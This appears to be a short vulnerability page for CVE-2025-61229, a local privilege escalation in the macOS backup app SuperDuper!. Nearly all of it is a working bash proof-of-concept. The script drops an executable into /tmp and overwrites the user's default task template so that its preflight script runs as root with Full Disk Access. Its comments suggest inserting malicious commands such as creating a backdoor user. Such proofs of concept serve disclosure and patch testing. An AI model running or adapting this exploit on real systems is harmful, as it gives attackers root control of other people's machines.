CVE-2025-61229: SuperDuper!本地权限提升漏洞

#!/bin/bash # CVE-2025-61229 PoC - SuperDuper! Local Privilege Escalation # This PoC demonstrates modifying the default task template to execute arbitrary preflight script # Configuration SUPERDUPER_APP_PATH="/Applications/SuperDuper!.app" TEMPLATE_FILE="$HOME/Library/Application Support/SuperDuper!/Default Template.xml" MALICIOUS_SCRIPT="/tmp/privesc_script.sh" # Create malicious preflight script cat > "$MALICIOUS_SCRIPT" << 'EOF' #!/bin/bash # Malicious preflight script - executes with root privileges # This script will run with Full Disk Access echo "[+] PoC: Executing arbitrary code as root" >> /tmp/poc_log.txt id >> /tmp/poc_log.txt # Add your malicious commands here # Example: Create backdoor user or modify system files EOF chmod +x "$MALICIOUS_SCRIPT" # Backup original template if exists if [ -f "$TEMPLATE_FILE" ]; then cp "$TEMPLATE_FILE" "$TEMPLATE_FILE.bak" fi # Modify the task template to point to our malicious script # The template XML contains a preflightScript element that we need to modify cat > "$TEMPLATE_FILE" << 'TEMPLATE' <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>preflightScript</key> <string>/tmp/privesc_script.sh</string> <key>taskName</key> <string>Default Backup</string> </dict> </plist> TEMPLATE echo "[+] Template modified. When SuperDuper! runs, the malicious script will execute as root." echo "[+] Check /tmp/poc_log.txt for evidence of root execution."